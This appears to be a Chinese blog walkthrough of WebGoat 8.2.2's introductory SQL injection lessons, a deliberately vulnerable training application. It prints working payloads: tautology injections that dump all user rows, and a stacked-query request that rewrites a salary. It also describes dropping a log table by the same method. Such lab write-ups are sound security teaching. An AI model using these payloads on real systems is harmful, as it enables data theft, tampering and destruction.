首页
学习
活动
专区
圈层
工具
发布

WEBGOAT8.2.2 SQL Injection (intro)

表的结构

0x1.Concept

说SQL的概念,和学习本模块能够了解到对SQL的了解,和DML、DDL、DCL的功能。

0x2.What is SQL?

过关

本关卡是让我们根据Employees表,来查找名字为Bobdepartment值,知道这个意思之后,就可以很容易地构造一下的sql语句进行提交了。

代码语言:javascript
复制
select department from Employees where first_name='Bob'

源码

抓包,查看请求的路径。发现是SqlInjection/attack2的请求路径。

使用IDEA的全局搜索快捷键SHIFT+SHIFT,然后输入SqlInjection/attack2,进行查找,进入第一个。

源码的简要分析

0x3.Data Manipulation Language (DML)

过关

要求我们把Tobi的部门department更改为销售部Sales,构造以下的SQL语句即可。

代码语言:javascript
复制
update employees set department = 'Sales' where first_name = 'Tobi'

源码

抓包,得到请求的url是SqlInjection/attack3,在源码中进行搜索

0x4.Data Definition Language (DDL)

过关

本题是让我们添加一列phone数据(varchar(20))。

代码语言:javascript
复制
alter table employees add phone varchar(20)

源码

没什么好说的,和前面的差不多

0x5.Data Control Language (DCL)

过关

本题要求我们把表grant_rights的权限给用户unauthorized_user,关于DCL的详情可见oracle grant的用法

代码语言:javascript
复制
grant insert on grant_rights  to unauthorized_user

源码

没什么好说的,和前面的差不多

0x6.What is SQL injection?

说明了什么是SQL注入,SQL注入的简单例子。

0x7.Consequences of SQL injection

说明了SQL注入的危害。

0x8.Severity of SQL injection

说明了SQL注入的严重性。

0x9.Try It! String SQL injection

过关

这关要求我们把sql语句进行闭合,达到查询所有数据的效果。

代码语言:javascript
复制
"SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '" + lastName + "'";

构造以下语句即可。我这里使用的百分百成立的条件是or 1=1该语句不管前面的语句是否为真还是假,最终的结果一定为真。

代码语言:javascript
复制
SELECT * FROM user_data WHERE first_name = 'John' AND last_name = 'Smith' or '1' = '1'

源码

没什么好说的,都是没有经过预处理就进行sql语句的执行,代码不安全。

0x10.Try It! Numeric SQL injection

过关

本关要求我们构造一条sql语句,来查询所有的用户信息。

代码语言:javascript
复制
"SELECT * FROM user_data WHERE login_count = " + Login_Count + " AND userid = "  + User_ID;

如果要查询所有的用户信息就需要让条件百分百成立。我这里使用的百分百成立的条件是or 1=1该语句不管前面的语句是否为真还是假,最终的结果一定为真。

代码语言:javascript
复制
SELECT * FROM user_data WHERE login_count = abc AND userid = 1 or 1 = 1

源码

0x11.Compromising confidentiality with String SQL injection

过关

本关主要说SQL的字符型注入,然后要求构造恶意的sql语句来查询所有的数据。

代码语言:javascript
复制
"SELECT * FROM user_data WHERE first_name = 'John' AND last_name = '" + lastName + "'";

根据前一关的思路进行构造即可,由于本关卡是字符串注入,因此需要注意的是需要对单引号进行闭合。

代码语言:javascript
复制
SELECT * FROM employees WHERE last_name = ' abc ' AND auth_tan = ' 1 ' or '1' ='1

源码

没什么好说的,这里使用的是没有预编译处理的语句,所以不安全。

0x12.Compromising Integrity with Query chaining

过关

本关要求我们修改Smith的薪水salary超过TobiBob的薪水salary。因此需要我们使用到update来对数据进行修改,这里使用到的注入方式是堆叠注入。

堆叠注入就是使用分号;来执行多条sql语句的,堆叠注入不管前面的语句是否正确,后面的语句都会执行,构造以下的恶意请求,达到我们执行后面sql语句进行修改数据的目的。这里前面的单引号是起到对前面语句闭合的作用。

代码语言:javascript
复制
name=Smith&auth_tan=3SL99A'; update employees set salary = 999999 where last_name='Smith'; -- +

为了美观,我这里使用burpsuite进行提交。

源码

没什么好说的,这里使用的是没有预编译处理的语句,所以不安全。

0x13.Compromising Availability

过关

题目要求我们删除Access_log表,该表是用来记录日志的。很简单,继续使用堆叠注入即可,首先要闭合前面的sql语句,然后在插入一条要执行的删除Access_log表的语法即可。

源码

没什么好说的,这里使用的是没有预编译处理的语句,所以不安全。

举报
领券